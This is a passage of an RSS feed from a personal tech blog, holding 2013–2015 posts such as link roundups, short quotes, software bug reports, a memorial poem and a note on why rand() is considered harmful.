      <description>&lt;p&gt;It has been a while since I blogged, and is something I want to try and get slowly back into. I did find &lt;a
	
		href = &#34;http://www.dbi.io/uk/blog/38-tools-for-beautiful-data-visualisations/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this site which has cool visualization tools
	&lt;/span&gt;
&lt;/a&gt; if that is something you are interested in.&lt;/p&gt;
&lt;p&gt;As an example, here is what a interactive bubble chart looks like for the blog:&lt;/p&gt;
&lt;iframe src=&#34;http://www.infocaptor.com/bubble-my-page?size=400&amp;amp;mode=embed&amp;amp;url=http://desigeek.com&#34; width=&#34;400&#34; height=&#34;430&#34; frameborder=&#34;0&#34; scrolling=&#34;no&#34;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.infocaptor.com/bubble-my-page&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Build bubbles for your page
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://www.infocaptor.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dashboards
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Parenting - Thought of the day</title>
      <link>/post/2015/04/parenting-thought-of-the-day/</link>
      <pubDate>Sat, 04 Apr 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/04/parenting-thought-of-the-day/</guid>
      <description>&lt;p&gt;The legacy all parents should give to their children is an insurance policy in happiness; but the premiums must be paid today during their upbringing.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2015/03/thought-of-the-day-7/</link>
      <pubDate>Sun, 22 Mar 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/03/thought-of-the-day-7/</guid>
      <description>&lt;p&gt;&lt;em&gt;You think Life is the mystery; Life is but the rapture of flight&lt;/em&gt; - Allama Iqbal&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2015/02/thought-of-the-day-8/</link>
      <pubDate>Tue, 03 Feb 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/02/thought-of-the-day-8/</guid>
      <description>&lt;p&gt;I’m exhausted. I spent all day saying “no” to my children and “yes” to my wife.&amp;quot; (&lt;a
	
		href = &#34;https://twitter.com/bahree/status/544715584789676032&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		source twitter
	&lt;/span&gt;
&lt;/a&gt;)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Anything is possible!</title>
      <link>/post/2015/01/anything-is-possible/</link>
      <pubDate>Sat, 17 Jan 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/01/anything-is-possible/</guid>
      <description>&lt;p&gt;How inspirational is this! I get goose bumps just seeing it. Awesome. If you put your mind to it, anything is possible.&lt;/p&gt;
&lt;iframe src=&#34;//www.youtube-nocookie.com/embed/VWf8CXwPoqI&#34; width=&#34;853&#34; height=&#34;480&#34; frameborder=&#34;0&#34; allowfullscreen=&#34;allowfullscreen&#34;&gt;&lt;/iframe&gt;
</description>
    </item>
    
    <item>
      <title>WordPress 4.1 and Firefox 34.0.5 Bug</title>
      <link>/post/2015/01/wordpress-4-1-and-firefox-34-0-5-bug/</link>
      <pubDate>Sun, 04 Jan 2015 00:00:00 +0000</pubDate>
      
      <guid>/post/2015/01/wordpress-4-1-and-firefox-34-0-5-bug/</guid>
      <description>&lt;p&gt;I am on the latest version of both WordPress and Firefox as of this writing - namely v4.1 and v34.0.5 respectively and running on a TechPreview of Windows 10 (Build 9879 to be precise).&lt;/p&gt;
&lt;p&gt;My main browser is Firefox, and whilst I also have Chrome and of course IE - I use them only on occasions of in some cases when I have to use them for one reason or another.&lt;/p&gt;
&lt;p&gt;When trying to login to WordPress from Firefox, I just cannot seem to login and get the dashboard. I know the user name and password is correct, and I don&amp;rsquo;t get any error - but keep getting the login screen again. Logging in again with IE is not a problem. I can&amp;rsquo;t recall when this started - if it was when WordPress was updated or FireFox - but both have recently, and it is very annoying to say the least!&lt;/p&gt;
&lt;p&gt;I haven&amp;rsquo;t had the time (yet) to try and figure out what is wrong.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Visual Studio 2014 CTP4 and Windows 10 Preview (Build 9860)</title>
      <link>/post/2014/11/visual-studio-2014-ctp4-and-windows-10-preview-build-9860/</link>
      <pubDate>Sat, 08 Nov 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/11/visual-studio-2014-ctp4-and-windows-10-preview-build-9860/</guid>
      <description>&lt;p&gt;Perhaps I am pushing the boundary here, perhaps not but I am having lots of issues with Visual Studio 2014 CTP 4 (specifically Version 14.0.22129.01.DP) and Windows 10 Preview Build 9860.&lt;/p&gt;
&lt;p&gt;There have been a lot of errors, and finally, it has gotten to the point where even the basic thing like creating a new Console Project results in the following error. I did do a in-place upgrade of Windows from the previous build, but everything else seems to be working out OK - except just can&amp;rsquo;t write any code.  8-O&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/vs2014-ctp4-errorjpg.jpg&#34; alt=&#34;Visual Studio 2014 CTP 4 Error&#34;/&gt;
        &lt;figcaption&gt;VS 2014 CTP 4 Error&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I am not sure I should try a repair, or deprecate to Visual Studio 2013.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>RIP Nikhil - my dear dear friend</title>
      <link>/post/2014/08/rip-nikhil-my-dear-dear-friend/</link>
      <pubDate>Sun, 17 Aug 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/08/rip-nikhil-my-dear-dear-friend/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;kaleidoscopic! not those here-and-now colours but in memory&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;cloudy sky is filled full of black twiggy branches a large crow shoots past&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;picket fence and trees standing tall like sentinels like sad sentinels&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;comes-on quietly so benign the sensation so bloody empty!&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;this revelation times at last you think you know shrug! alas you don’t&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;fleeting memory self-flagellation head-shake another one lost&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;again and again scene full of twiggy branches black crow descending&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;#x1f622;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Blessing of Health Wearables</title>
      <link>/post/2014/05/blessing-of-health-wearables/</link>
      <pubDate>Sun, 11 May 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/05/blessing-of-health-wearables/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/geekandpoke-healthweables.jpg&#34; alt=&#34;Sorry I got confused the time with my Sleep Index - just one more excuse&#34;/&gt;
        &lt;figcaption&gt;Blessing of Health Wearables&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #25</title>
      <link>/post/2014/05/interesting-find-25/</link>
      <pubDate>Sun, 11 May 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/05/interesting-find-25/</guid>
      <description>&lt;p&gt;Continuing the &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/?s=Interesting&amp;#43;Find&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Interesting Find series
	&lt;/span&gt;
&lt;/a&gt;. Here are the things I was intrigued by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt; “&lt;a
	
		href = &#34;http://www.technologyreview.com/news/523746/honey-encryption-will-bamboozle-attackers-with-fake-secrets/?utm_campaign=newsletters&amp;amp;utm_source=newsletter-daily-all&amp;amp;utm_medium=email&amp;amp;utm_content=20140129&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Honey Encryption
	&lt;/span&gt;
&lt;/a&gt;” - A new approach to encryption beats attackers by presenting them with fake data.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.technologyreview.com/news/523531/securing-the-smart-home-from-toasters-to-toilets/?utm_campaign=newsletters&amp;amp;utm_source=newsletter-daily-all&amp;amp;utm_medium=email&amp;amp;utm_content=20140121&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Securing the Smart Home, from Toasters to Toilets
	&lt;/span&gt;
&lt;/a&gt; - It is afterall the era of BigData and Internet of Things (IoT).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://arstechnica.com/security/2014/02/bizarre-attack-infects-linksys-routers-with-self-replicating-malware/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bizarre attack
	&lt;/span&gt;
&lt;/a&gt; infects Linksys routers with self-replicating malware.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://techcrunch.com/2014/02/17/microsoft-launches-smart-visual-studio-add-on-for-code-snippet-search/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bing Code Search for C#
	&lt;/span&gt;
&lt;/a&gt; - right from within Visual Studio - a boon for the lazy developers (yay!). Better beef up your Legal teams as well - how will one control IP violations at the code level - not quite sure.&lt;/li&gt;
&lt;li&gt;Visualisation of data is not only about &amp;lsquo;prettying up&amp;rsquo; your BI reports, but it can &lt;a
	
		href = &#34;http://www.theguardian.com/technology/2014/feb/16/visualise-data-change-life-florence-nightingale&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		actually also save lifes
	&lt;/span&gt;
&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;Oakland the city that &lt;a
	
		href = &#34;http://www.theguardian.com/technology/2014/feb/10/city-google-go-away-oakland-california&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		told Google to bugger away
	&lt;/span&gt;
&lt;/a&gt;! Is this the start of a revolt?&lt;/li&gt;
&lt;li&gt;If you shop at Tesco.com and also have a Clubcard then you were aware &lt;a
	
		href = &#34;http://www.troyhunt.com/2014/02/the-tesco-hack-heres-how-it-probably.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		that they were hacked
	&lt;/span&gt;
&lt;/a&gt;? What is hilarious, and, very poor the way they handled this and the lack of understanding. Want to see a glimpse of that? &lt;a
	
		href = &#34;https://twitter.com/Tesco/status/229542141012107265&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		See this Twitter conversation
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;You like Pineapples? You can eat one; and you can also &lt;a
	
		href = &#34;http://www.troyhunt.com/2013/04/the-beginners-guide-to-breaking-website.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		use one to break website security
	&lt;/span&gt;
&lt;/a&gt; - very easily! Scary stuff.&lt;/li&gt;
&lt;li&gt;Microsoft MS-DOS/Word &lt;a
	
		href = &#34;http://storify.com/leonzandman/microsoft-ms-dos-word-source-code-gems?utm_content=storify-pingback&amp;amp;awesm=sfy.co_gf2V&amp;amp;utm_source=t.co&amp;amp;utm_campaign=&amp;amp;utm_medium=sfy.co-twitter&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Source Code Gems
	&lt;/span&gt;
&lt;/a&gt; - just awesome comments!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.flamelily.co.uk/2013/05/raspberry-pi-car-computer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Raspberry Pi car computer
	&lt;/span&gt;
&lt;/a&gt; - enough said!&lt;/li&gt;
&lt;li&gt;Absolutely fascinating! &lt;a
	
		href = &#34;http://bit.ly/PnzZtB&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Most Sophisticated #Android bootkit malware
	&lt;/span&gt;
&lt;/a&gt; ever detected; Infected Millions #Security&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>&#39;Old&#39; Surface (PixelSense) stuck on boot up</title>
      <link>/post/2014/03/old-surface-pixelsense-stuck-on-boot-up/</link>
      <pubDate>Sun, 30 Mar 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/03/old-surface-pixelsense-stuck-on-boot-up/</guid>
      <description>&lt;p&gt;Samsung SUR40 which recently got stuck at boot up (see the photo below). Once the Kernel lib loaded, for some reason was getting stuck at:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;StrongROM version 03.30 Build:_P&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/WP_20140326_011-300x168.jpg&#34; alt=&#34;MS PixelSense not booting up&#34;/&gt;
        &lt;figcaption&gt;MS PixelSense not booting up&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Powering it off or on, did not help. Neither did trying to get into the BIOS to try and change some things.&lt;/p&gt;
&lt;p&gt;I did get this back up and running, and in the end the solution was quite simple - I had to physically take out the power cable (just powering it down was not enough); wait a few seconds and then plug the power cord in, and boot it back up.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Playing with Google Glass</title>
      <link>/post/2014/03/playing-with-google-glass/</link>
      <pubDate>Wed, 26 Mar 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/03/playing-with-google-glass/</guid>
      <description>&lt;p&gt;Don&amp;rsquo;t know how many folks know, but I got a google glass recently and only now have had some time to start playing with it. There were a few challenges but I finally got Glass &amp;rsquo;talking&amp;rsquo; to my Windows 8.1 machine and can now replicate the glass display (that is a post for another time, but it did take me some hit and try to figure out what I was doing wrong). This is pretty important, as without this I won&amp;rsquo;t be able to show much demo&amp;rsquo;s or make it very useful.&lt;/p&gt;
&lt;p&gt;Here are a few photos showing the silliness in the whole thing. In the second photo, I am taking a picture from glass, whilst taking a picture from Glass - does that classify as a Picture-in-Picture? Perhaps. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/glass-on-win8.1.jpg&#34; alt=&#34;Google glass on Windows&#34;/&gt;
        &lt;figcaption&gt;Google glass on Windows&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/20140326_103402_622.jpg&#34; alt=&#34;Glass and Windows 8 - picture in picture&#34;/&gt;
        &lt;figcaption&gt;Glass and Windows 8&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Smart Homes and Internet of Things</title>
      <link>/post/2014/03/smart-homes-and-internet-of-things/</link>
      <pubDate>Sat, 22 Mar 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/03/smart-homes-and-internet-of-things/</guid>
      <description>&lt;p&gt;Smart Homes (Again)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/geek-and-poke-1390978180030.jpg&#34; alt=&#34;Smart Homes&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Alphabet Soup</title>
      <link>/post/2014/01/alphabet-soup/</link>
      <pubDate>Fri, 31 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/01/alphabet-soup/</guid>
      <description>&lt;p&gt;I was cleaning up my documents, and found an old presentation where I talk about a lot of the new things coming out of Microsoft. Seeing this, did bring back memories. Some of it was very cool and head of its time. Not heard of DSL&amp;rsquo;s recently, wonder where the industry is heading.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/alphabet-soup.png&#34; alt=&#34;Alphabet Soup&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #24</title>
      <link>/post/2014/01/interesting-find-24/</link>
      <pubDate>Thu, 30 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/01/interesting-find-24/</guid>
      <description>&lt;p&gt;Here are the interesting finds of this time around.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.hex-rays.com/products/ida/index.shtml&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		IDA
	&lt;/span&gt;
&lt;/a&gt; - A cool debugger which runs on most platforms and different from the MS variety.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.typescriptlang.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TypeScript
	&lt;/span&gt;
&lt;/a&gt; - as the name suggests, it is strongly typed JS which compiles down to standard JS! This can only be good I think given all the crazy things one can so in JS. More details &lt;a
	
		href = &#34;http://channel9.msdn.com/posts/Anders-Hejlsberg-Introducing-TypeScript&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Can you &lt;a
	
		href = &#34;http://www.tomsguide.com/us/can-you-hide-from-nsa,review-1793.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hide anything
	&lt;/span&gt;
&lt;/a&gt; from NSA?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.tomsguide.com/us/usb-tv-tuner-software-defined-radio-sdr-radio-spying-privacy,review-1836.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TV Tuners
	&lt;/span&gt;
&lt;/a&gt; - did you know they can let you spy - who knew?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://betane.ws/f0CD&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		grepWin
	&lt;/span&gt;
&lt;/a&gt; - a powerful regex-based search and replace tool - and can work across multiple files.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://supermechanical.com/twine/features.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Twine
	&lt;/span&gt;
&lt;/a&gt; - is a wireless sensor block tightly integrated with a cloud-based service. What all things one can do with Twine? Here are a &lt;a
	
		href = &#34;http://supermechanical.tumblr.com/tagged/breakout&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		few examples for inspiration
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://visual.ly/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual.ly
	&lt;/span&gt;
&lt;/a&gt; - tell your story visually; good resource for infographics and data visualisation&lt;/li&gt;
&lt;li&gt;Can an &lt;a
	
		href = &#34;http://www.theverge.com/2012/10/1/3432980/blossom-one-limited-coffee-maker-11111&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		$11,111 coffee pot
	&lt;/span&gt;
&lt;/a&gt; turn out a better cup of joe?&lt;/li&gt;
&lt;li&gt;What the Internet of Things (#IoT) needs to become a reality? Freescale has an &lt;a
	
		href = &#34;http://www.freescale.com/files/32bit/doc/white_paper/INTOTHNGSWP.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting paper
	&lt;/span&gt;
&lt;/a&gt; (pdf) on it.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://highexpectationsasianfather.tumblr.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		High expectations Asian Fathers
	&lt;/span&gt;
&lt;/a&gt; - enough said!&lt;/li&gt;
&lt;li&gt;How to be a &lt;a
	
		href = &#34;http://www.theguardian.com/technology/2013/dec/27/how-to-be-a-hacker&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hacker
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://edition.cnn.com/2013/12/30/tech/innovation/14-kickstarter-projects-2014/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		14 Kickstarter projects
	&lt;/span&gt;
&lt;/a&gt; to watch out for in 2014&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://alloyui.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Alloy.UI
	&lt;/span&gt;
&lt;/a&gt; - a really cool HTML and JavaScript library with lots of &lt;a
	
		href = &#34;http://alloyui.com/examples/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		useful UI features
	&lt;/span&gt;
&lt;/a&gt;. Builds on top of YUI3 and Bootstrap.&lt;/li&gt;
&lt;li&gt;DON’T PANIC - &lt;a
	
		href = &#34;http://www.gapminder.org/videos/dont-panic-the-facts-about-population/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Facts About Population
	&lt;/span&gt;
&lt;/a&gt;. Very interesting, especially the visualisation. You can find &lt;a
	
		href = &#34;http://www.gapminder.org/world/#$majorMode=chart$is;shi=t;ly=2003;lb=f;il=t;fs=11;al=30;stl=t;st=t;nsl=t;se=t$wst;tts=C$ts;sp=5.59290322580644;ti=2012$zpv;v=0$inc_x;mmid=XCOORDS;iid=phAwcNAVuyj1jiMAkmq1iMg;by=ind$inc_y;mmid=YCOORDS;iid=phAwcNAVuyj2tPLxKvvnNPA;by=ind$inc_s;uniValue=8.21;iid=phAwcNAVuyj0XOoBL_n5tAQ;by=ind$inc_c;uniValue=255;gid=CATID0;by=grp$map_x;scale=log;dataMin=283;dataMax=110808$map_y;scale=lin;dataMin=18;dataMax=87$map_s;sma=49;smi=2.65$cd;bd=0$inds=;example=75&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more on that here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;As sites and services become product aware, &lt;a
	
		href = &#34;http://gigaom.com/2014/01/11/as-sites-and-services-become-product-aware-the-age-of-pervasive-commerce-begins/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the age of pervasive commerce begins
	&lt;/span&gt;
&lt;/a&gt; (remember &lt;a
	
		href = &#34;http://www.imdb.com/title/tt0181689/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Minority Reports
	&lt;/span&gt;
&lt;/a&gt;?).&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Lessons from the Internet</title>
      <link>/post/2014/01/lessons-from-the-internet/</link>
      <pubDate>Thu, 23 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/01/lessons-from-the-internet/</guid>
      <description>&lt;p&gt;Lessons from the Internet - If you never learn how to fail, you will never learn to scale!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Wired Child</title>
      <link>/post/2014/01/the-wired-child/</link>
      <pubDate>Mon, 06 Jan 2014 00:00:00 +0000</pubDate>
      
      <guid>/post/2014/01/the-wired-child/</guid>
      <description>&lt;p&gt;Interesting read for any parent!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/the-wired-child_524ce1f3f29b8_w587.jpg&#34; alt=&#34;The Wired Child&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Is rand() harmful?</title>
      <link>/post/2013/11/is-rand-harmful/</link>
      <pubDate>Wed, 06 Nov 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/11/is-rand-harmful/</guid>
      <description>&lt;p&gt;​I saw &lt;a
	
		href = &#34;http://channel9.msdn.com/Events/GoingNative/2013/rand-Considered-Harmful&#34;
	

	
		title = &#34;this&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this
	&lt;/span&gt;
&lt;/a&gt; awesome &lt;a
	
		href = &#34;http://video.ch9.ms/sessions/gonat/2013/STLGN13rand.pptx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		presentation
	&lt;/span&gt;
&lt;/a&gt; on &lt;strong&gt;why rand() is considered harmful&lt;/strong&gt;. When you need a random number, don&amp;rsquo;t call rand() and especially don&amp;rsquo;t say rand() % 100! This presentation will explain why that&amp;rsquo;s so terrible, and how C++11&amp;rsquo;s header can make your life so much easier.&lt;/p&gt;
&lt;p&gt;If you need uniqueness and non-deterministic, especially on the context of security or crypto then you need to think about a few things. For example the frequency, non-uniform distribution, and not using a pseudo random number generator (such as &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Mersenne_twister&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mersenne twister
	&lt;/span&gt;
&lt;/a&gt;) and not a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Linear_congruential_generator&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		linear congruential generator
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A must have Outlook add-in</title>
      <link>/post/2013/10/a-must-have-outlook-add-in/</link>
      <pubDate>Sun, 27 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/10/a-must-have-outlook-add-in/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t know how many people have heard of that NoReplyAll Outlook Add-In from MSR - which is a must have IHMO for everyone. With this enabled, you get the following new buttons in the Toolbar and when composing emails, it will restrict the others from replying-all and help in dealing with some of the email-storms you get internally!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

